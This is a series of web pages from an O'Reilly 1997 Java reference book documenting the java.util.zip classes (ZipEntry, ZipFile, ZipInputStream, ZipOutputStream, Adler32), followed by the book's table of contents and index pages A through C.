This method returns the modification date of this ZipEntry as the number of milliseconds since midnight, January 1, 1970 GMT.

isDirectory

public boolean isDirectory()

Returns

A boolean value that indicates whether or not this entry is a directory.

Description

This method returns true if this ZipEntry represents a directory.

setComment

public void setComment(String comment)

Parameters

comment

The new comment string.

Throws

IllegalArgumentException

If comment is longer than 0xFFFF bytes.

Description

This method sets the comment string of this ZipEntry.

setCrc

public void setCrc(long crc)

Parameters

crc

The new checksum value.

Description

This method sets the CRC-32 checksum value for this ZipEntry.

setExtra

public void setExtra(byte[] extra)

Parameters

extra

The extra field data.

Throws

IllegalArgumentException

If extra is longer than 0xFFFF bytes.

Description

This method sets the extra field data for this ZipEntry.

setMethod

public void setMethod(int method)

Parameters

method

The new compression method.

Throws

IllegalArgumentException

If method is not DEFLATED or STORED.

Description

This method sets the compression method of this ZipEntry. This corresponds to the compression level of Deflater.

setSize

public void setSize(long size)

Parameters

size

The new uncompressed entry size.

Throws

IllegalArgumentException

If size is less than 0 or greater than 0xFFFFFFFF bytes.

Description

This method sets the uncompressed size of this ZipEntry.

setTime

public void setTime(long time)

Parameters

time

The new modification date, expressed as the number of seconds since midnight, January 1, 1970 GMT.

Description

This method sets the modification date of this ZipEntry.

toString

public String toString()

Returns

A string representation of this object.

Overrides

Object.toString()

Description

This method returns the name of this ZipEntry.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Deflater, IllegalArgumentException, Inflater, NullPointerException, ZipInputStream, ZipOutputStream

Previous | Home | Next
InflaterInputStream | Book Index | ZipException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] ZipException

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

ZipException

Name

ZipException

Synopsis

Class Name:

java.util.zip.ZipException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A ZipException is thrown when an error occurs when reading or writing a ZIP file. Normally this occurs when data is read that is not in the correct format.

Class Summary

public class java.util.ZipException extends java.io.IOException {
  // Constructors
  public ZipException();
  public ZipException(String s);
}

Constructors

ZipException

protected ZipException()

Description

This constructor creates a ZipException with no associated detail message.

public ZipException(String s)

Parameters

s

The detail message.

Description

This constructor creates a ZipException with the given detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, RuntimeException, Throwable

Previous | Home | Next
ZipEntry | Book Index | ZipFile
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] ZipFile

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

ZipFile

Name

ZipFile

Synopsis

Class Name:

java.util.zip.ZipFile

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The ZipFile class represents a ZIP file. Unlike with a ZipInputStream, you can read the entries in a ZipFile nonsequentially. Internally, the class uses a RandomAccessFile so that you can read the entries from the file in any order. You can obtain a list of the entries in this ZIP file by calling entries(). Given an entry, you can get an InputStream for that entry using getInputStream().

Class Summary

public class java.util.zip.ZipFile extends java.lang.Object {
  // Constructors
  public ZipFile(File file);
  public ZipFile(String name);
  // Instance Methods
  public void close();
  public Enumeration entries();
  public ZipEntry getEntry(String name);
  public InputStream getInputStream(ZipEntry ze);
  public String getName();
}

Constructors

ZipFile

public ZipFile(File file) throws ZipException, IOException

Parameters

file

The File to read.

Throws

ZipException

If the ZIP file cannot be read.

IOException

If any other kind of I/O error occurs.

Description

This constructor creates a ZipFile for reading from the given File object.

public ZipFile(String name) throws IOException

Parameters

name

A string that contains the path name of the file.

Throws

ZipException

If the ZIP file cannot be read.

IOException

If any other kind of I/O error occurs.

Description

This constructor creates a ZipFile for reading from the file specified by the given path.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method closes the ZipFile and releases its system resources.

entries

public Enumeration entries()

Returns

An Enumeration of ZipEntry objects.

Description

This method returns an enumeration of ZipEntry objects that represents the contents of this ZipFile.

getEntry

public ZipEntry getEntry(String name)

Parameters

name

The entry name.

Returns

The entry corresponding to the given name or null if there is no such entry.

Description

This method returns the ZipEntry object that corresponds to the given entry name.

getInputStream

public InputStream getInputStream(ZipEntry ze) throws IOException

Parameters

ze

A ZipEntry in this file.

Returns

An InputStream for the given entry.

Throws

ZipException

If a ZIP file format error occurs.

IOException

If any other kind of I/O error occurs.

Description

This method returns an input stream that can read the entry described by the supplied ZipEntry.

getName

public String getName()

Returns

The path of this file.

Description

This method returns the path name of this ZipFile.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Enumeration, File, InputStream, IOException, RandomAccessFile, String, ZipEntry, ZipException, ZipInputStream

Previous | Home | Next
ZipException | Book Index | ZipInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] ZipInputStream

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

ZipInputStream

Name

ZipInputStream

Synopsis

Class Name:

java.util.zip.ZipInputStream

Superclass:

java.util.zip.InflaterInputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The ZipInputStream class reads files that have been compressed using the ZIP format. To read uncompressed data from a ZIP file, simply construct a ZipInputStream that wraps a regular input stream. The getNextEntry() method returns each entry in the ZIP file in order. Once you have a ZipEntry object, you use the read() method to retrieve uncompressed data from it. If you want to read the entries in a nonsequential order, use a ZipFile instead.

Class Summary

public class java.util.zip.ZipInputStream
             extends java.util.zip.InflaterInputStream {
  // Constructors
  public ZipInputStream(InputStream in);
  // Instance Methods
  public void close();
  public void closeEntry();
  public ZipEntry getNextEntry();
  public int read(byte[] b, int off, int len);
  public long skip(long n);
}

Constructors

ZipInputStream

public ZipInputStream(InputStream in)

Parameters

in

The underlying input stream.

Description

This constructor creates a ZipInputStream that inflates data from the given InputStream.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any I/O error occurs.

Overrides

FilterInputStream.close()

Description

This method closes this stream and releases any system resources that are associated with it.

closeEntry

public void closeEntry() throws IOException

Throws

ZipException

If a ZIP file format error occurs.

IOException

If any other kind of I/O error occurs.

Description

This method closes the currently open entry in the ZIP file. The stream is then positioned to read the next entry using getNextEntry().

getNextEntry

public ZipEntry getNextEntry() throws IOException

Returns

The ZipEntry for the next entry or null if there are no more entries.

Throws

ZipException

If a ZIP file format error occurs.

IOException

If any other kind of I/O error occurs.

Description

This method returns a ZipEntry that represents the next entry in the ZIP file and positions the stream to read that entry.

read

public int read(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The number of bytes read or -1 if the end of the entry is encountered immediately.

Throws

ZipException

If a ZIP file format error occurs.

IOException

If any other kind of I/O error occurs.

Overrides

InflaterInputStream.read(byte[], int, int)

Description

This method reads enough data from the underlying InputStream to return len bytes of uncompressed data. The uncompressed data is placed into the given array starting at off. The method blocks until some data is available for decompression.

skip

public long skip(long n) throws IOException

Returns

The actual number of bytes skipped.

Throws

ZipException

If a ZIP file format error occurs.

IOException

If any kind of I/O error occurs.

Overrides

InflaterInputStream.skip()

Description

This method skips over the specified number of uncompressed data bytes by reading data from the underlying InputStream and decompressing it.

Inherited Methods

Method | Inherited From | Method | Inherited From
available() | FilterInputStream | clone() | Object
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
mark(int) | FilterInputStream | markSupported() | FilterInputStream
notify() | Object | notifyAll() | Object
read() | InflaterInputStream | read(byte[]) | FilterInputStream
reset() | FilterInputStream | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Inflater, InflaterInputStream, InputStream, IOException, ZipEntry, ZipException, ZipFile

Previous | Home | Next
ZipFile | Book Index | ZipOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] ZipOutputStream

Java Fundamental Classes Reference

Previous Chapter 18
The java.util.zip Package 		Next

ZipOutputStream

Name

ZipOutputStream

Synopsis

Class Name:

java.util.zip.ZipOutputStream

Superclass:

java.util.zip.DeflaterOutputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The ZipOutputStream class writes compressed files in the ZIP format. To write a ZIP file, construct a ZipOutputStream that wraps a regular output stream. You have to create a ZipEntry for each entry in the file. The putNextEntry() method puts the entry in the file, so that you can then use the write() method to write data for that entry. When you finish writing the data for an entry, call closeEntry() to close that entry and putNextEntry() to start another entry.

The setMethod() method specifies whether the data is compressed or uncompressed by default; setLevel() specifies the level of compression that is used by default. These values can be overridden by the method and level set for a particular entry. If you are storing compressed (deflated) files, you need only specify a name for each ZipEntry ; the other fields are filled in automatically. If, however, you are placing uncompressed entries, you need to specify the size of each entry and provide a CRC-32 checksum value.

Class Summary

public class java.util.zip.ZipOutputStream
             extends java.util.zip.DeflaterOutputStream {
  // Constants
  public static final int DEFLATED;
  public static final int STORED;
  // Constructors
  public ZipOutputStream(OutputStream out);
  // Instance Methods
  public void close();
  public void closeEntry();
  public void finish();
  public void putNextEntry(ZipEntry e);
  public void setComment(String comment);
  public void setLevel(int level);
  public void setMethod(int method);
  public synchronized void write(byte[] b, int off, int len);
}

Constants

DEFLATED

public static final int DEFLATED

Description

A constant that represents an entry is stored using the deflate algorithm.

STORED

public static final int STORED

Description

A constant that represents a ZIP file entry is stored verbatim; in other words, with no compression applied.

Constructors

ZipOutputStream

public ZipOutputStream(OutputStream out)

Parameters

out

The underlying output stream.

Description

This constructor creates a ZipOutputStream that writes compressed data to the given OutputStream.

Instance Methods

close

public void close() throws IOException

Throws

ZipException

If a ZIP file format error occurs.

IOException

If any other kind of I/O error occurs.

Overrides

DeflaterOutputStream.close()

Description

This method closes the stream and releases any system resources that are associated with it.

closeEntry

public void closeEntry() throws IOException

Throws

ZipException

If a ZIP file format error occurs.

IOException

If any other kind of I/O error occurs.

Description

This method closes the currently open entry in the ZIP file. A subsequent entry can be started with putNextEntry().

finish

public void finish() throws IOException

Throws

ZipException

If a ZIP file format error occurs.

IOException

If any other kind of I/O error occurs.

Overrides

DeflaterOutputStream.finish()

Description

This method finishes writing compressed data to the underlying stream without closing it.

putNextEntry

public void putNextEntry(ZipEntry e) throws IOException

Parameters

e

The new entry.

Throws

ZipException

If a ZIP file format error occurs.

IOException

If any other kind of I/O error occurs.

Description

This method writes the information in the given ZipEntry to the stream and positions the stream for the entry data. The actual entry data can then be written to the stream using write(). The default compression method and level are used if one is not specified for the entry. When all of the entry data has been written, use closeEntry() to finish the entry.

If this method is called when there is already an open entry, that entry is closed and this entry is opened.

setComment

public void setComment(String comment)

Parameters

comment

The new comment string.

Throws

IllegalArgumentException

If comment is longer than 0xFFFF bytes.

Description

This method sets the comment string for this ZIP file.

setLevel

public void setLevel(int level)

Parameters

level

A compression level, from 0 (NO_COMPRESSION) to 9 (BEST_COMPRESSION).

Throws

IllegalArgumentException

If level is not valid.

Description

This method sets the default compression level of subsequent DEFLATED entries. The default value is Deflater.DEFAULT_COMPRESSION.

setMethod

public void setMethod(int method)

Parameters

method

A compression method, either DEFLATED or STORED.

Throws

IllegalArgumentException

If method is not valid.

Description

This method sets the default compression method of this ZipOutputStream for entries that do not specify a method.

write

 public synchronized void write(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

ZipException

If a ZIP file format error occurs.

IOException

If any other kind of I/O error occurs.

Overrides

DeflaterOutputStream.write(byte[], int, int)

Description

This method takes len bytes from the given buffer, starting at off, and compresses them. The method then writes the compressed data to the underlying OutputStream for the current entry. The method blocks until all the bytes have been written.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | flush() | FilterOutputStream
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object
write(int) | DeflaterOutputStream | write(byte[]) | FilterOutputStream

See Also

Deflater, DeflaterOutputStream, IllegalArgumentException, IOException, OutputStream, ZipEntry, ZipException

Previous | Home | Next
ZipInputStream | Book Index | The Unicode 2.0 Character Set
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] The java.util.zip Package

Java Fundamental Classes Reference

Previous Chapter 18 Next

18. The java.util.zip Package

Contents:

Select a new section and then

The package java.util.zip is new as of Java 1.1. It contains classes that provide support for general-purpose data compression and decompression using the ZLIB compression algorithms. The important classes in java.util.zip are those that provide the means to read and write data that is compatible with the popular GZIP and ZIP formats: GZIPInputStream, GZIPOutputStream, ZipInputStream, and ZipOutputStream. Figure 18.1 shows the class hierarchy for the java.util.zip package.

Figure 18.1: The java.text package

[Graphic: Figure 18-1]

It is easy to use the GZIP and ZIP classes because they subclass java.io.FilterInputStream and java.io.FilterOutputStream. For example, to decompress GZIP data, you simply create a GZIPInputStream around the input stream that represents the compressed data. As with any InputStream, you could be reading from a file, a socket, or some other data source. You can then read decompressed data by calling the read() methods of the GZIPInputStream. The following code fragment creates a GZIPInputStream that reads data from the file sample.gz :

FileInputStream inFile;
try {
    inFile = new FileInputStream("sample.gz");
} catch (IOException e) {
    System.out.println("Couldn't open file.");
    return;
}
GZIPInputStream in = new GZIPInputStream(inFile);
// Now use in.read() to get decompressed data.

Similarly, you can compress data using the GZIP format by creating a GZIPOutputStream around an output stream and using the write() methods of GZIPOutputStream. The following code fragment creates a GZIPOutputStream that writes data to the file sample.gz :

FileOutputStream outFile;
try {
    outFile = new FileOutputStream("sample.gz");
} catch (IOException e) {
    System.out.println("Couldn't open file.");
    return;
}
GZIPOutputStream out = new GZIPOutputStream(outFile);
// Now use out.write() to write compressed data.

A ZIP file, or archive, is not quite as easy to use because it may contain more than one compressed file. A ZipEntry object represents each compressed file in the archive. When you are reading from a ZipInputStream, you must first call getNextEntry() to access an entry, and then you can read decompressed data from the stream, just like with a GZIPInputStream. When you are writing data to a ZipOutputStream, use putNextEntry() before you start writing each entry in the archive. The ZipFile class is provided as a convenience for reading an archive; it allows nonsequential access to the entries in a ZIP file.

The remainder of the classes in java.util.zip exist to support the GZIP and ZIP classes. The generic Deflater and Inflater classes implement the ZLIB algorithms; they are used by DeflaterOutputStream and InflaterInputStream to decompress and compress data. The Checksum interface and the classes that implement it, Adler32 and CRC32, define algorithms that generate checksums from stream data. These checksums are used by the CheckedInputStream and CheckedOutputStream classes.

Adler32

Name

Adler32

Synopsis

Class Name:

java.util.zip.Adler32

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.util.zip.Checksum

Availability:

New as of JDK 1.1

Description

The Adler32 class implements the Checksum interface using the Adler-32 algorithm. This algorithm is significantly faster than CRC-32 and almost as reliable.

Class Summary

public class java.util.zip.Adler32 extends java.lang.Object
             implements java.util.zip.Checksum {
  // Constructors
  public Adler32();

  // Instance Methods
  public long getValue();
  public void reset();
  public void update(int b);
  public void update(byte[] b);
  public native void update(byte[] b, int off, int len);
}

Constructors

Adler32

public Adler32()

Description

This constructor creates an Adler32 object.

Instance Methods

getValue

public long getValue()

Returns

The current checksum value.

Implements

Checksum.getValue()

Description

This method returns the current value of this checksum.

reset

public void reset()

Implements

Checksum.reset()

Description

This method resets the checksum to its initial value, making it appear as though it has not been updated by any data.

update

public void update(int b)

Parameters

b

The value to be added to the data stream for the checksum calculation.

Implements

Checksum.update(int)

Description

This method adds the specified value to the data stream and updates the checksum value. The method uses only the lowest eight bits of the given int.

public void update(byte[] b)

Parameters

b

An array of bytes to be added to the data stream for the checksum calculation.

Description

This method adds the bytes from the specified array to the data stream and updates the checksum value.

public native void update(byte[] b, int off, int len)

Parameters

b

An array of bytes to be added to the data stream for the checksum calculation.

off

An offset into the byte array.

len

The number of bytes to use.

Implements

Checksum.update(byte[], int, int)

Description

This method adds len bytes from the specified array, starting at off, to the data stream and updates the checksum value.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Checksum, CRC32

Previous | Home | Next
Vector | Book Index | CheckedInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


Java Fundamental Classes Reference

Java Fundamental Classes Reference
By Mark Grand and Jonathan Knudsen; 1-56592-241-7, 1152 pages
1st Edition May 1997

Table of Contents

Preface
Chapter 1: Introduction

Part I: Using the Fundamental Classes

This part of the book, Chapters 2 through 10, provides a brief guide to many of the features of the fundamental classes in Java. These tutorial-style chapters are meant to help you learn about some of the basic functionality of the Java API. They provide short examples where appropriate that illustrate the use of various features.

Chapter 2: Strings and Related Classes
Chapter 3: Threads
Chapter 4: Exception Handling
Chapter 5: Collections
Chapter 6: I/O
Chapter 7: Object Serialization
Chapter 8: Networking
Chapter 9: Security
Chapter 10: Accessing the Environment

Part II: Reference

This part of the book is a complete reference to all of the fundamental classes in the core Java API. The material is organized alphabetically by package, and within each package, alphabetically by class. The reference page for a class tells you everything you need to know about using that class. It provides a detailed description of the class as a whole, followed by a complete description of every variable, constructor, and method defined by the class.

Chapter 11: The java.io Package
Chapter 12: The java.lang Package
Chapter 13: The java.lang.reflect Package
Chapter 14: The java.math Package
Chapter 15: The java.net Package
Chapter 16: The java.text Package
Chapter 17: The java.util Package
Chapter 18: The java.util.zip Package

Part III: Appendixes

This part provides information about the Unicode 2.0 standard and the UTF-8 encoding used by Java.

Appendix A: The Unicode 2.0 Character Set
Appendix B: The UTF-8 Encoding

Index

Search the text of Java Fundamental Classes Reference.

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Symbols and Numbers

+ (concatenation) operator : String Concatenation

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

A

abs( ) : Math
BigDecimal class : BigDecimal
BigInteger class : BigInteger
AbstractMethodError : AbstractMethodError
accept( )
FilenameFilter interface : FilenameFilter
FilenameFilter interface and : FilenameFilter
ServerSocket class : ServerSocket
SocketImpl class : SocketImpl
access
IllegalAccessError : IllegalAccessError
IllegalAccessException : IllegalAccessException
acos( ) : Math
activeCount( )
Thread class : Thread
ThreadGroup class : ThreadGroup
activeGroupCount( ) : ThreadGroup
add( )
BigDecimal class : BigDecimal
BigInteger class : BigInteger
Calendar class : Calendar
GregorianCalendar class : GregorianCalendar
addElement( ) : Vectors
Vector class : Vector
addObserver( ) : Observable
Adler32 class : Adler32
after( )
Calendar class : Calendar
Date class : Date
GregorianCalendar class : GregorianCalendar
alive threads : Controlling a Thread
allowThreadSuspension( ) : ThreadGroup
and( )
BigInteger class : BigInteger
BitSet class : BitSet
andNot( ) : BigInteger
annotateClass( )
ObjectOutputStream class : ObjectOutputStream
append( )
StringBuffer class : StringBuffer
applets : Threads
applyLocalizedPattern( ) : DecimalFormat
applyLocalizePattern( )
SimpleDateFormat class : SimpleDateFormat
applyPattern( )
ChoiceFormat
DecimalFormat
MessageFormat class : MessageFormat
SimpleDateFormat class : SimpleDateFormat
arguments
IllegalArgumentException : IllegalArgumentException
ArithmeticException : ArithmeticException
Array class : Array
arrays (see vectors)
arraycopy( ) : System
ArrayIndexOutOfBoundsException : ArrayIndexOutOfBoundsException
ArrayStoreException : ArrayStoreException
IndexOutOfBoundsException : IndexOutOfBoundsException
NegativeArraySizeException : NegativeArraySizeException
variable-length (see vectors)
Vector class : Vector
asin( ) : Math
atan( ) : Math
atan2( ) : Math
audio, real-time transmission of : Sockets
available( )
BufferedInputStream class : BufferedInputStream
ByteArrayInputStream class : ByteArrayInputStream
FileInputStream class : FileInputStream
FilterInputStream class : FilterInputStream
InputStream class
InputStream
InputStream
LineNumberInputStream class : LineNumberInputStream
ObjectInput interface : ObjectInput
ObjectInputStream class : ObjectInputStream
PipedInputStream class : PipedInputStream
PushbackInputStream class : PushbackInputStream
SequenceInputStream class : SequenceInputStream
SocketImpl class : SocketImpl
StringBufferInputStream class : StringBufferInputStream

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

B

balking strategy (threads) : Balking
before( :)
Calendar class : Calendar
Date class : Date
GregorianCalendar class : GregorianCalendar
BigDecimal class : BigDecimal
BigInteger class : BigInteger
bind( )
SocketImpl class : SocketImpl
BindException : BindException
bitCount( ) : BigInteger
bitLength( ) : BigInteger
BitSet class : BitSet
Boolean( ) : Boolean
Boolean class : Boolean
booleanValue( ) : Boolean
BreakIterator class
The java.text Package
The java.text Package
BreakIterator
BufferedInputStream class
BufferedReader and BufferedInputStream
BufferedInputStream
BufferedOutputStream class
BufferedWriter and BufferedOutputStream
BufferedOutputStream
BufferedReader class
BufferedReader and BufferedInputStream
BufferedReader
BufferedWriter class
BufferedWriter and BufferedOutputStream
BufferedWriter
Byte( ) : Byte
Byte class
The java.lang Package
Byte
byte-code
VerifyError error : VerifyError
ByteArrayInputStream class
CharArrayReader and ByteArrayInputStream
ByteArrayInputStream
ByteArrayOutputStream class
CharArrayWriter and ByteArrayOutputStream
ByteArrayOutputStream
byteValue( ) : Byte
Double class : Double
Float class : Float
Integer class : Integer
Long class : Long
Number class : Number
Short class : Short

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

C

Calendar class : Calendar
calendars (see date and time)
canRead( ) : File
File class : File
canWrite( ) : File
File class : File
capacity( ) : StringBuffer
Vector class : Vector
capacity, vector : Vectors
capitalization (see case sensitivity)
case sensitivity
comparing strings and : String
StreamTokenizer class and : StreamTokenizer
toLowerCase( ) and toUpperCase( ) : String
catch clause
Handling Exceptions
ceil( ) : Math
Character( ) : Character
Character class : Character
characters
character streams : The java.io Package
CharacterIterator interface : CharacterIterator
CharArrayReader class : CharArrayReader and ByteArrayInputStream
CharArrayWriter class : CharArrayWriter and ByteArrayOutputStream
CharConversionException : CharConversionException
StringCharacterIterator class : StringCharacterIterator
Unicode 2.0 character set : The Unicode 2.0 Character Set
CharArrayReader class : CharArrayReader
CharArrayWriter class : CharArrayWriter
charAt( )
String class
String
String
StringBuffer class : StringBuffer
CharConversionException : CharConversionException
charValue( )
Character class : Character
check methods, SecurityManager class : SecurityManager
checkCreateClassLoader( ) : ClassLoader
checkRead( ) : File
checkWrite( ) : File
checkAccept( ) : SecurityManager
checkAccess( )
SecurityManager class : SecurityManager
Thread class : Thread
ThreadGroup class : ThreadGroup
checkAwtEventQueueAccess( ) : SecurityManager
checkConnect( ) : SecurityManager
checkCreateClassLoader( ) : SecurityManager
checkDelete( ) : SecurityManager
CheckedInputStream class : CheckedInputStream
CheckedOutputStream class : CheckedOutputStream
checkError( )
PrintStream class : PrintStream
PrintWriter class
PrintWriter and PrintStream
PrintWriter
checkExec( ) : SecurityManager
checkExit( ) : SecurityManager
checkLink( ) : SecurityManager
checkListen( ) : SecurityManager
checkMemberAccess( ) : SecurityManager
checkMulticast( ) : SecurityManager
checkPackageAccess( ) : SecurityManager
checkPackageDefinition( ) : SecurityManager
checkPrintJobAccess( ) : SecurityManager
checkPropertiesAccess( ) : SecurityManager
checkRead( ) : SecurityManager
checkSecurityAccess( )
SecurityManager
checkSetFactory( ) : SecurityManager
Checksum interface : Checksum
checkSystemClipboardAccess( ) : SecurityManager
checkTopLevelWindow( ) : SecurityManager
checkWrite( ) : SecurityManager
ChoiceFormat class
The java.text Package
ChoiceFormat
circular references : ClassCircularityError
Class : Class
Class class : The java.lang Package
classDepth( ) : SecurityManager
classes
Class class : Class
ClassCastException : ClassCastException
ClassCircularityError : ClassCircularityError
ClassFormatError : ClassFormatError
ClassLoader class : ClassLoader
ClassNotFoundException : ClassNotFoundException
dynamically loading : ClassLoader
IncompatibleClassChangeError : IncompatibleClassChangeError
InvalidClassException : InvalidClassException
LinkageError : LinkageError
NoClassDefFoundError : NoClassDefFoundError
object serialization : The java.io Package
object serialization and
Object Serialization Basics
ObjectStreamClass
socket : Sockets
versioning : Versioning of Classes
ClassLoader class : ClassLoader
classLoaderDepth( ) : SecurityManager
clear( )
BitSet class : BitSet
Calendar class : Calendar
Hashtable class : Hashtable
clearBit( ) : BigInteger
clearChanged( ) : Observable
client sockets : Sockets
clone( )
BitSet class : BitSet
BreakIterator class : BreakIterator
Calendar class : Calendar
CharacterIterator interface : CharacterIterator
ChoiceFormat class : ChoiceFormat
Collator class : Collator
DateFormat class : DateFormat
DateFormatSymbols class : DateFormatSymbols
DecimalFormat class : DecimalFormat
DecimalFormatSymbols class : DecimalFormatSymbols
Format class : Format
GregorianCalendar class : GregorianCalendar
Hashtable class : Hashtable
Locale class : Locale
MessageFormat class : MessageFormat
NumberFormat class : NumberFormat
Object class : Object
RuleBasedCollator class : RuleBasedCollator
SimpleDateFormat class : SimpleDateFormat
SimpleTimeZone class : SimpleTimeZone
StringCharacterIterator class : StringCharacterIterator
TimeZone class : TimeZone
Vector class : Vector
Cloneable interface : Cloneable
CloneNotSupportedException : CloneNotSupportedException
close( )
BufferedReader class : BufferedReader
BufferedWriter class : BufferedWriter
CharArrayReader class : CharArrayReader
CharArrayWriter class : CharArrayWriter
DatagramSocket class : DatagramSocket
DeflaterOutputStream class : DeflaterOutputStream
FileInputStream class : FileInputStream
FileOutputStream class : FileOutputStream
FilterInputStream class
FilterInputStream and FilterReader
FilterInputStream
FilterOutputStream class
FilterOutputStream and FilterWriter
FilterOutputStream
FilterReader class : FilterReader
FilterWriter class : FilterWriter
GZIPInputStream class : GZIPInputStream
GZIPOutputStream class : GZIPOutputStream
InputStream class : InputStream
InputStreamReader class : InputStreamReader
ObjectInput interface : ObjectInput
ObjectInputStream class : ObjectInputStream
ObjectOutput interface : ObjectOutput
ObjectOutputStream class : ObjectOutputStream
OutputStream class : OutputStream
OutputStreamWriter class : OutputStreamWriter
PipedInputStream class : PipedInputStream
PipedOutputStream class : PipedOutputStream
PipedReader class : PipedReader
PipedWriter class : PipedWriter
PrintStream class : PrintStream
PrintWriter class : PrintWriter
PushbackReader class : PushbackReader
RandomAccessFile class
RandomAccessFile
RandomAccessFile
Reader class : Reader
SequenceInputStream class : SequenceInputStream
ServerSocket class : ServerSocket
Socket class : Socket
SocketImpl class : SocketImpl
StringReader class : StringReader
StringWriter class : StringWriter
Writer class : Writer
ZipFile class : ZipFile
ZipInputStream class : ZipInputStream
ZipOutputStream class : ZipOutputStream
closeEntry( )
ZipInputStream class : ZipInputStream
ZipOutputStream class : ZipOutputStream
CollationElementIterator class : CollationElementIterator
CollationKey class
The java.text Package
CollationKey
Collator class
The java.text Package
The java.text Package
Collator
command( ) : Compiler
commentChar( ) : StreamTokenizer
compare( )
Collator class : Collator
RuleBasedCollator class : RuleBasedCollator
compareTo( ) : String
BigDecimal class : BigDecimal
BigInteger class : BigInteger
CollationKey class : CollationKey
String class : String
comparing
hashtable data : Hashtables
strings
String
URL objects : URL Objects
compileClass( ) : Compiler
compileClasses( ) : Compiler
Compiler class : Compiler
complete( )
Calendar class : Calendar
compressing files (see GZIP format; ZIP format)
compression (see data compression/decompression)
computeFields( ) : Calendar
GregorianCalendar class : GregorianCalendar
computeTime( ) : Calendar
GregorianCalendar class : GregorianCalendar
concat( )
String
String
concatenating strings
String
String Concatenation
connect( )
PipedInputStream class
PipedInputStream and PipedReader
PipedOutputStream and PipedWriter
PipedInputStream
PipedOutputStream class
PipedInputStream and PipedReader
PipedOutputStream and PipedWriter
PipedOutputStream
PipedReader class : PipedReader
PipedWriter class : PipedWriter
SocketImpl class : SocketImpl
ConnectException : ConnectException
connection-oriented protocols
Sockets
Sockets for Connection-Oriented Protocols
connectionless protocols
Sockets
Sockets for Connectionless Protocols
Constructor class : Constructor
constructors for threads : Associating a Method with a Thread
contains( )
Hashtable class
Hashtables
Hashtable
Vector class : Vectors
containsKey( )
Hashtables
Hashtable
content( )
URLConnection class : URLConnection
ContentHandler class : ContentHandler
ContentHandlerFactory interface : ContentHandlerFactory
converting
CharConversionException : CharConversionException
copyValueOf( ) : String
cos( ) : Math
countObservers( ) : Observable
countStackFrames( ) : Thread
countTokens( )
StringTokenizer class : StringTokenizer
CRC32 class : CRC32
create( )
SocketImpl class : SocketImpl
